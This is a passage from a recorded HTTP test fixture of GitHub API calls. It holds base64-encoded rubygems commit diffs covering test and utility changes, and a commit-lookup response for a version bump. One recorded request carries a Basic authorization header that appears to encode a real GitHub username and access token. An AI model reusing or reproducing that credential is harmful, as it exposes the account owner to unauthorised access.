bitcbisgICAgQGNtZC5oYW5kbGVfb3B0aW9ucyAld1stLWNoZWNrLWRldmVsb3BtZW50XVxuK1xuKyAgICBAY21kLmV4ZWN1dGVcbitcbisgICAgYXNzZXJ0X3BhdGhfZXhpc3RzIEBhXzEuZ2VtX2RpclxuKyAgZW5kXG4rXG4rICBkZWYgdGVzdF9leGVjdXRlX3dpdGhvdXRfZGV2X2RlcGVuZGVuY2llc1xuKyAgICBAYl8xID0gdXRpbF9zcGVjICdiJywgMSBkbyB8c3wgcy5hZGRfZGV2ZWxvcG1lbnRfZGVwZW5kZW5jeSAnYScsICcxJyBlbmRcbisgICAgQGNfMSA9IHV0aWxfc3BlYyAnYycsIDEgZG8gfHN8IHMuYWRkX2RldmVsb3BtZW50X2RlcGVuZGVuY3kgJ2EnLCAnMicgZW5kXG4rXG4rICAgIGluc3RhbGxfZ2VtIEBiXzFcbisgICAgaW5zdGFsbF9nZW0gQGNfMVxuK1xuKyAgICBAY21kLmhhbmRsZV9vcHRpb25zICV3Wy0tbm8tY2hlY2stZGV2ZWxvcG1lbnRdXG4rXG4rICAgIEBjbWQuZXhlY3V0ZVxuK1xuKyAgICByZWZ1dGVfcGF0aF9leGlzdHMgQGFfMS5nZW1fZGlyXG4rICBlbmRcbitcbiAgIGRlZiB0ZXN0X2V4ZWN1dGVfYWxsXG4gICAgIGdlbWhvbWUyID0gRmlsZS5qb2luIEB0ZW1wZGlyLCAnZ2VtaG9tZTInXG4gIn0seyJzaGEiOiI0MzNiNjBkZjE2OGViN2IwM2I1MDUxODRkYzJjZWNkYzU2YWY0YWM5IiwiZmlsZW5hbWUiOiJ0ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX3NldHVwX2NvbW1hbmQucmIiLCJzdGF0dXMiOiJtb2RpZmllZCIsImFkZGl0aW9ucyI6ODgsImRlbGV0aW9ucyI6MCwiY2hhbmdlcyI6ODgsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX3NldHVwX2NvbW1hbmQucmIiLCJyYXdfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3Jhdy9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfc2V0dXBfY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19zZXR1cF9jb21tYW5kLnJiP3JlZj1kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwicGF0Y2giOiJAQCAtMjcsNiArMjcsNjcgQEAgZGVmIHNldHVwXG4gICAgIG9wZW4gJ2J1bmRsZXIvZXhlL2J1bmRsZScsICAgICAgICAndycgZG8gfGlvfCBpby5wdXRzICcjIGJ1bmRsZScgICAgICAgZW5kXG4gICAgIG9wZW4gJ2J1bmRsZXIvbGliL2J1bmRsZXIucmInLCAgICAndycgZG8gfGlvfCBpby5wdXRzICcjIGJ1bmRsZXIucmInICAgZW5kXG4gICAgIG9wZW4gJ2J1bmRsZXIvbGliL2J1bmRsZXIvYi5yYicsICAndycgZG8gfGlvfCBpby5wdXRzICcjIGIucmInICAgICAgICAgZW5kXG4rXG4rICAgIEZpbGVVdGlscy5ta2Rpcl9wICdkZWZhdWx0L2dlbXMnXG4rXG4rICAgIGdlbXNwZWMgPSBHZW06OlNwZWNpZmljYXRpb24ubmV3XG4rICAgIGdlbXNwZWMubmFtZSA9IFwiYnVuZGxlclwiXG4rICAgIGdlbXNwZWMudmVyc2lvbiA9IFwiMS4xNi4wXCJcbisgICAgZ2Vtc3BlYy5iaW5kaXIgPSBcImV4ZVwiXG4rICAgIGdlbXNwZWMuZXhlY3V0YWJsZXMgPSBbXCJidW5kbGVcIl1cbitcbisgICAgb3BlbiAnYnVuZGxlci9idW5kbGVyLmdlbXNwZWMnLCAgICd3JyBkbyB8aW98XG4rICAgICAgaW8ucHV0cyBnZW1zcGVjLnRvX3J1YnlcbisgICAgZW5kXG4rXG4rICAgIG9wZW4oRmlsZS5qb2luKEdlbTo6U3BlY2lmaWNhdGlvbi5kZWZhdWx0X3NwZWNpZmljYXRpb25zX2RpciwgXCJidW5kbGVyLTEuMTUuNC5nZW1zcGVjXCIpLCAndycpIGRvIHxpb3xcbisgICAgICBpby5wdXRzICcjIGJ1bmRsZXInXG4rICAgIGVuZFxuK1xuKyAgICBGaWxlVXRpbHMubWtkaXJfcCBGaWxlLmpvaW4oR2VtLmRlZmF1bHRfZGlyLCBcInNwZWNpZmljYXRpb25zXCIpXG4rICAgIG9wZW4oRmlsZS5qb2luKEdlbS5kZWZhdWx0X2RpciwgXCJzcGVjaWZpY2F0aW9uc1wiLCBcImJ1bmRsZXItYXVkaXQtMS4wLjAuZ2Vtc3BlY1wiKSwgJ3cnKSBkbyB8aW98XG4rICAgICAgaW8ucHV0cyAnIyBidW5kbGVyLWF1ZGl0J1xuKyAgICBlbmRcbitcbisgICAgRmlsZVV0aWxzLm1rZGlyX3AgJ2RlZmF1bHQvZ2Vtcy9idW5kbGVyLTEuMTUuNCdcbisgICAgRmlsZVV0aWxzLm1rZGlyX3AgJ2RlZmF1bHQvZ2Vtcy9idW5kbGVyLWF1ZGl0LTEuMC4wJ1xuKyAgZW5kXG4rXG4rICBkZWYgZ2VtX2luc3RhbGwgbmFtZVxuKyAgICBnZW0gPSB1dGlsX3NwZWMgbmFtZSBkbyB8c3xcbisgICAgICBzLmV4ZWN1dGFibGVzID0gW25hbWVdXG4rICAgICAgcy5maWxlcyA9ICVXW2Jpbi8je25hbWV9XVxuKyAgICBlbmRcbisgICAgd3JpdGVfZmlsZSBGaWxlLmpvaW4gQHRlbXBkaXIsICdiaW4nLCBuYW1lIGRvIHxmfFxuKyAgICAgIGYucHV0cyAnIyEvdXNyL2Jpbi9ydWJ5J1xuKyAgICBlbmRcbisgICAgaW5zdGFsbF9nZW0gZ2VtXG4rICAgIEZpbGUuam9pbiBAZ2VtaG9tZSwgJ2JpbicsIG5hbWVcbisgIGVuZFxuK1xuKyAgZGVmIHRlc3RfZXhlY3V0ZV9yZWdlbmVyYXRlX2JpbnN0dWJzXG4rICAgIGdlbV9iaW5fcGF0aCA9IGdlbV9pbnN0YWxsICdhJ1xuKyAgICB3cml0ZV9maWxlIGdlbV9iaW5fcGF0aCBkbyB8aW98XG4rICAgICAgaW8ucHV0cyAnSSBjaGFuZ2VkIGl0ISdcbisgICAgZW5kXG4rXG4rICAgIEBjbWQub3B0aW9uc1s6ZG9jdW1lbnRdID0gW11cbisgICAgQGNtZC5leGVjdXRlXG4rXG4rICAgIGFzc2VydF9tYXRjaCAlcntcXEEjIX0sIEZpbGUucmVhZChnZW1fYmluX3BhdGgpXG4rICBlbmRcbitcbisgIGRlZiB0ZXN0X2V4ZWN1dGVfbm9fcmVnZW5lcmF0ZV9iaW5zdHVic1xuKyAgICBnZW1fYmluX3BhdGggPSBnZW1faW5zdGFsbCAnYSdcbisgICAgd3JpdGVfZmlsZSBnZW1fYmluX3BhdGggZG8gfGlvfFxuKyAgICAgIGlvLnB1dHMgJ0kgY2hhbmdlZCBpdCEnXG4rICAgIGVuZFxuK1xuKyAgICBAY21kLm9wdGlvbnNbOmRvY3VtZW50XSA9IFtdXG4rICAgIEBjbWQub3B0aW9uc1s6cmVnZW5lcmF0ZV9iaW5zdHVic10gPSBmYWxzZVxuKyAgICBAY21kLmV4ZWN1dGVcbitcbisgICAgYXNzZXJ0X2VxdWFsIFwiSSBjaGFuZ2VkIGl0IVxcblwiLCBGaWxlLnJlYWQoZ2VtX2Jpbl9wYXRoKVxuICAgZW5kXG4gXG4gICBkZWYgdGVzdF9wZW1fZmlsZXNfaW5cbkBAIC01NSw2ICsxMTYsMzMgQEAgZGVmIHRlc3RfaW5zdGFsbF9saWJcbiAgICAgZW5kXG4gICBlbmRcbiBcbisgIGRlZiB0ZXN0X2luc3RhbGxfZGVmYXVsdF9idW5kbGVyX2dlbVxuKyAgICBAY21kLmV4dGVuZCBGaWxlVXRpbHNcbitcbisgICAgQGNtZC5pbnN0YWxsX2RlZmF1bHRfYnVuZGxlcl9nZW1cbitcbisgICAgaWYgR2VtLndpbl9wbGF0Zm9ybT9cbisgICAgICBidW5kbGVyX3NwZWMgPSBHZW06OlNwZWNpZmljYXRpb24ubG9hZChcImJ1bmRsZXIvYnVuZGxlci5nZW1zcGVjXCIpXG4rICAgICAgZGVmYXVsdF9zcGVjX3BhdGggPSBGaWxlLmpvaW4oR2VtOjpTcGVjaWZpY2F0aW9uLmRlZmF1bHRfc3BlY2lmaWNhdGlvbnNfZGlyLCBcIiN7YnVuZGxlcl9zcGVjLmZ1bGxfbmFtZX0uZ2Vtc3BlY1wiKVxuKyAgICAgIHNwZWMgPSBHZW06OlNwZWNpZmljYXRpb24ubG9hZChkZWZhdWx0X3NwZWNfcGF0aClcbitcbisgICAgICBzcGVjLmV4ZWN1dGFibGVzLmVhY2ggZG8gfGV8XG4rICAgICAgICBhc3NlcnRfcGF0aF9leGlzdHMgRmlsZS5qb2luKHNwZWMuYmluX2RpciwgXCIje2V9LmJhdFwiKVxuKyAgICAgIGVuZFxuKyAgICBlbmRcbitcbisgICAgZGVmYXVsdF9kaXIgPSBHZW06OlNwZWNpZmljYXRpb24uZGVmYXVsdF9zcGVjaWZpY2F0aW9uc19kaXJcbitcbisgICAgcmVmdXRlX3BhdGhfZXhpc3RzIEZpbGUuam9pbihkZWZhdWx0X2RpciwgXCJidW5kbGVyLTEuMTUuNC5nZW1zcGVjXCIpXG4rICAgIHJlZnV0ZV9wYXRoX2V4aXN0cyAnZGVmYXVsdC9nZW1zL2J1bmRsZXItMS4xNS40J1xuK1xuKyAgICBhc3NlcnRfcGF0aF9leGlzdHMgRmlsZS5qb2luKGRlZmF1bHRfZGlyLCBcImJ1bmRsZXItMS4xNi4wLmdlbXNwZWNcIilcbisgICAgYXNzZXJ0X3BhdGhfZXhpc3RzICdkZWZhdWx0L2dlbXMvYnVuZGxlci0xLjE2LjAnXG4rXG4rICAgIGFzc2VydF9wYXRoX2V4aXN0cyBGaWxlLmpvaW4oR2VtLmRlZmF1bHRfZGlyLCBcInNwZWNpZmljYXRpb25zXCIsIFwiYnVuZGxlci1hdWRpdC0xLjAuMC5nZW1zcGVjXCIpXG4rICAgIGFzc2VydF9wYXRoX2V4aXN0cyAnZGVmYXVsdC9nZW1zL2J1bmRsZXItYXVkaXQtMS4wLjAnXG4rICBlbmQgaWYgR2VtOjpVU0VfQlVORExFUl9GT1JfR0VNREVQU1xuK1xuICAgZGVmIHRlc3RfcmVtb3ZlX29sZF9saWJfZmlsZXNcbiAgICAgbGliICAgICAgICAgICAgICAgICAgID0gRmlsZS5qb2luIEBpbnN0YWxsX2RpciwgJ2xpYidcbiAgICAgbGliX3J1YnlnZW1zICAgICAgICAgID0gRmlsZS5qb2luIGxpYiwgJ3J1YnlnZW1zJyJ9LHsic2hhIjoiNTZlZWNmYzFmOGRhYjRhMGYwNGI5ZTJjNTIxODJkZjc4ZGYxM2M1MyIsImZpbGVuYW1lIjoidGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19zaWduaW5fY29tbWFuZC5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjo3LCJkZWxldGlvbnMiOjQsImNoYW5nZXMiOjExLCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19zaWduaW5fY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19zaWduaW5fY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc19zaWduaW5fY29tbWFuZC5yYj9yZWY9ZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYSIsInBhdGNoIjoiQEAgLTI3LDIwICsyNywyMyBAQCBkZWYgdGVzdF9leGVjdXRlX3doZW5fbm90X2FscmVhZHlfc2lnbmVkX2luXG4gXG4gICBkZWYgdGVzdF9leGVjdXRlX3doZW5fYWxyZWFkeV9zaWduZWRfaW5fd2l0aF9zYW1lX2hvc3RcbiAgICAgaG9zdCAgICAgICAgICAgID0gJ2h0dHA6Ly9zb21lLWdlbWN1dHRlci1jb21wYXRpYmxlLWhvc3Qub3JnJ1xuLSAgICBzaWduX2luX3VpICAgICAgPSB1dGlsX2NhcHR1cmUobmlsLCBob3N0KSB7IEBjbWQuZXhlY3V0ZSB9XG4rXG4rICAgIHV0aWxfY2FwdHVyZShuaWwsIGhvc3QpIHsgQGNtZC5leGVjdXRlIH1cbiAgICAgb2xkX2NyZWRlbnRpYWxzID0gWUFNTC5sb2FkX2ZpbGUgR2VtLmNvbmZpZ3VyYXRpb24uY3JlZGVudGlhbHNfcGF0aFxuIFxuLSAgICBzaWduX2luX3VpICAgICAgPSB1dGlsX2NhcHR1cmUobmlsLCBob3N0KSB7IEBjbWQuZXhlY3V0ZSB9XG4rICAgIHV0aWxfY2FwdHVyZShuaWwsIGhvc3QpIHsgQGNtZC5leGVjdXRlIH1cbiAgICAgbmV3X2NyZWRlbnRpYWxzID0gWUFNTC5sb2FkX2ZpbGUgR2VtLmNvbmZpZ3VyYXRpb24uY3JlZGVudGlhbHNfcGF0aFxuIFxuICAgICBhc3NlcnRfZXF1YWwgb2xkX2NyZWRlbnRpYWxzW2hvc3RdLCBuZXdfY3JlZGVudGlhbHNbaG9zdF1cbiAgIGVuZFxuIFxuICAgZGVmIHRlc3RfZXhlY3V0ZV93aGVuX2FscmVhZHlfc2lnbmVkX2luX3dpdGhfZGlmZmVyZW50X2hvc3RcbiAgICAgYXBpX2tleSAgICAgPSAnYTVmZGJiNmJhMTUwY2JiODNhYWQyYmIyZmVkZTY0Y2YwNDA0NXh4eHgnXG4tICAgIHNpZ25faW5fdWkgID0gdXRpbF9jYXB0dXJlKG5pbCwgbmlsLCBhcGlfa2V5KSB7IEBjbWQuZXhlY3V0ZSB9XG4rXG4rICAgIHV0aWxfY2FwdHVyZShuaWwsIG5pbCwgYXBpX2tleSkgeyBAY21kLmV4ZWN1dGUgfVxuICAgICBob3N0ICAgICAgICA9ICdodHRwOi8vc29tZS1nZW1jdXR0ZXItY29tcGF0aWJsZS1ob3N0Lm9yZydcbi0gICAgc2lnbl9pbl91aSAgPSB1dGlsX2NhcHR1cmUobmlsLCBob3N0LCBhcGlfa2V5KSB7IEBjbWQuZXhlY3V0ZSB9XG4rXG4rICAgIHV0aWxfY2FwdHVyZShuaWwsIGhvc3QsIGFwaV9rZXkpIHsgQGNtZC5leGVjdXRlIH1cbiAgICAgY3JlZGVudGlhbHMgPSBZQU1MLmxvYWRfZmlsZSBHZW0uY29uZmlndXJhdGlvbi5jcmVkZW50aWFsc19wYXRoXG4gXG4gICAgIGFzc2VydF9lcXVhbCBjcmVkZW50aWFsc1s6cnVieWdlbXNfYXBpX2tleV0sIGFwaV9rZXkifSx7InNoYSI6ImZhNDQ0ZmEzMmYwYmRjZGVjMjQ2Y2IyMjI2MGJmN2NjOTM2YzZlYzEiLCJmaWxlbmFtZSI6InRlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfdXBkYXRlX2NvbW1hbmQucmIiLCJzdGF0dXMiOiJtb2RpZmllZCIsImFkZGl0aW9ucyI6MCwiZGVsZXRpb25zIjo2LCJjaGFuZ2VzIjo2LCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc191cGRhdGVfY29tbWFuZC5yYiIsInJhd191cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcmF3L2RjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc191cGRhdGVfY29tbWFuZC5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9jb21tYW5kc191cGRhdGVfY29tbWFuZC5yYj9yZWY9ZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYSIsInBhdGNoIjoiQEAgLTIsMTIgKzIsNiBAQFxuIHJlcXVpcmUgJ3J1YnlnZW1zL3Rlc3RfY2FzZSdcbiByZXF1aXJlICdydWJ5Z2Vtcy9jb21tYW5kcy91cGRhdGVfY29tbWFuZCdcbiBcbi1iZWdpblxuLSAgZ2VtIFwicmRvY1wiXG4tcmVzY3VlIEdlbTo6TG9hZEVycm9yXG4tICAjIGlnbm9yZVxuLWVuZFxuLVxuIGNsYXNzIFRlc3RHZW1Db21tYW5kc1VwZGF0ZUNvbW1hbmQgPCBHZW06OlRlc3RDYXNlXG4gXG4gICBkZWYgc2V0dXAifSx7InNoYSI6ImNmNzU1OWQ1NmMxYzg1NTRlZjlhMjg5YzExNmE0Yzg1YmQ0MGZiOTIiLCJmaWxlbmFtZSI6InRlc3QvcnVieWdlbXMvdGVzdF9nZW1fZXh0X2NvbmZpZ3VyZV9idWlsZGVyLnJiIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjEsImRlbGV0aW9ucyI6MSwiY2hhbmdlcyI6MiwiYmxvYl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhL3Rlc3QvcnVieWdlbXMvdGVzdF9nZW1fZXh0X2NvbmZpZ3VyZV9idWlsZGVyLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2V4dF9jb25maWd1cmVfYnVpbGRlci5yYiIsImNvbnRlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udGVudHMvdGVzdC9ydWJ5Z2Vtcy90ZXN0X2dlbV9leHRfY29uZmlndXJlX2J1aWxkZXIucmI/cmVmPWRjMzc0NWIwYjZiZGUxZDVkYWIyM2VlNDYwNzgwNzdhMWZhYzIyMGEiLCJwYXRjaCI6IkBAIC01NCw3ICs1NCw3IEBAIGRlZiB0ZXN0X3NlbGZfYnVpbGRfZmFpbFxuICAgICAgIGVuZFxuICAgICBlbmRcbiBcbi0gICAgc2hlbGxfZXJyb3JfbXNnID0gJXJ7KFxcLi9jb25maWd1cmU6IC4qKXwoKD86Q2FuJ3R8Y2Fubm90KSBvcGVuIFxcLi9jb25maWd1cmUoPzo6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkpPyl9XG4rICAgIHNoZWxsX2Vycm9yX21zZyA9ICVyeyhcXC4vY29uZmlndXJlOiAuKil8KCg/OltDY11hbid0fGNhbm5vdCkgb3BlbiAnP1xcLi9jb25maWd1cmUnPyg/OjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSk/KX1cbiAgICAgc2hfcHJlZml4X2NvbmZpZ3VyZSA9IFwic2ggLi9jb25maWd1cmUgLS1wcmVmaXg9XCJcbiBcbiAgICAgYXNzZXJ0X21hdGNoICdjb25maWd1cmUgZmFpbGVkJywgZXJyb3IubWVzc2FnZSJ9LHsic2hhIjoiYTY4ODBmNzZhMGQxOGRjNWI3MzA2Mzg3NGFhMDE5OTEzNzEzMWU2NCIsImZpbGVuYW1lIjoidXRpbC9nZW5lcmF0ZV9zcGR4X2xpY2Vuc2VfbGlzdC5yYiIsInN0YXR1cyI6Im1vZGlmaWVkIiwiYWRkaXRpb25zIjoyLCJkZWxldGlvbnMiOjEsImNoYW5nZXMiOjMsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS91dGlsL2dlbmVyYXRlX3NwZHhfbGljZW5zZV9saXN0LnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGMzNzQ1YjBiNmJkZTFkNWRhYjIzZWU0NjA3ODA3N2ExZmFjMjIwYS91dGlsL2dlbmVyYXRlX3NwZHhfbGljZW5zZV9saXN0LnJiIiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy91dGlsL2dlbmVyYXRlX3NwZHhfbGljZW5zZV9saXN0LnJiP3JlZj1kYzM3NDViMGI2YmRlMWQ1ZGFiMjNlZTQ2MDc4MDc3YTFmYWMyMjBhIiwicGF0Y2giOiJAQCAtMSw4ICsxLDkgQEBcbiAjIGZyb3plbl9zdHJpbmdfbGl0ZXJhbDogdHJ1ZVxuIHJlcXVpcmUgJ2pzb24nXG4gcmVxdWlyZSAnbmV0L2h0dHAnXG4rcmVxdWlyZSAndXJpJ1xuIFxuLWpzb24gPSBOZXQ6OkhUVFAuZ2V0KCdzcGR4Lm9yZycsICcvbGljZW5zZXMvbGljZW5zZXMuanNvbicpXG4ranNvbiA9IE5ldDo6SFRUUC5nZXQoVVJJKCdodHRwczovL3NwZHgub3JnL2xpY2Vuc2VzL2xpY2Vuc2VzLmpzb24nKSlcbiBsaWNlbnNlcyA9IEpTT04ucGFyc2UoanNvbilbJ2xpY2Vuc2VzJ10ubWFwIGRvIHxsaWNlbnNlT2JqZWN0fFxuICAgbGljZW5zZU9iamVjdFsnbGljZW5zZUlkJ11cbiBlbmQifV19 http_version: recorded_at: Sat, 06 Jan 2018 14:59:47 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4542' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"fe5ec3c267065f9901b0b3340a25756f" Last-Modified: - Tue, 28 Nov 2017 11:05:43 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041246' X-Github-Request-Id: - A1F2:4D96:971541:13A353D:5A50E463 body: encoding: ASCII-8BIT string: '{"sha":"55df5dbb5d917809a27a5881ddf3c0b5543b011f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T11:05:43Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-28T11:05:43Z"},"message":"Bump version to 2.7.3","tree":{"sha":"df1353b3f12cc5f93c43c60870d8aab0e0b7d6ce","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/df1353b3f12cc5f93c43c60870d8aab0e0b7d6ce"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlodQwcACgkQ+c8TQXJk\n+sIy8Qf6AmeBbHBWF/0ouVY1a+ntaJrl2xqquKDV283FfrbH05GI40lHPjryI6KC\n7gjiaYnXa2LxkSiYMS6CTv9Qxd9vPAxc7GjNbKBFEKVrXSG0cppAbz1bqFO6pvjA\n2eoLhu3ZwOfv6wrjd2Fs8Dt4Bjrsbmy98gzbT2h/85z8D+5dGCBrjKsI9hfs0XpP\npvYn0H/8DChr7hTjQXbvK7tyTnZE+VNjZks1kqkYUz57XA2Gt/+Uj/Lyq7qV434o\nZq8QTSSHQwjyLzLmVJzqz70Eia3w+vo/8qRlR2hP8Johbtq25/bhaiYu3EPd039L\nShFMwaznblrSMn0lob91Y27sJQsaxQ==\n=bzCZ\n-----END PGP SIGNATURE-----","payload":"tree df1353b3f12cc5f93c43c60870d8aab0e0b7d6ce\nparent 9bde8cd05e9e2f4a73d6783f09896dd551b58ebe\nauthor SHIBATA Hiroshi 1511867143 +0900\ncommitter SHIBATA Hiroshi 1511867143 +0900\n\nBump version to 2.7.3\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f","html_url":"https://github.com/rubygems/rubygems/commit/55df5dbb5d917809a27a5881ddf3c0b5543b011f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/55df5dbb5d917809a27a5881ddf3c0b5543b011f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"9bde8cd05e9e2f4a73d6783f09896dd551b58ebe","url":"https://api.github.com/repos/rubygems/rubygems/commits/9bde8cd05e9e2f4a73d6783f09896dd551b58ebe","html_url":"https://github.com/rubygems/rubygems/commit/9bde8cd05e9e2f4a73d6783f09896dd551b58ebe"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"b7097f22cd140a63ed96417117a31f6bbfedf8e6","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/55df5dbb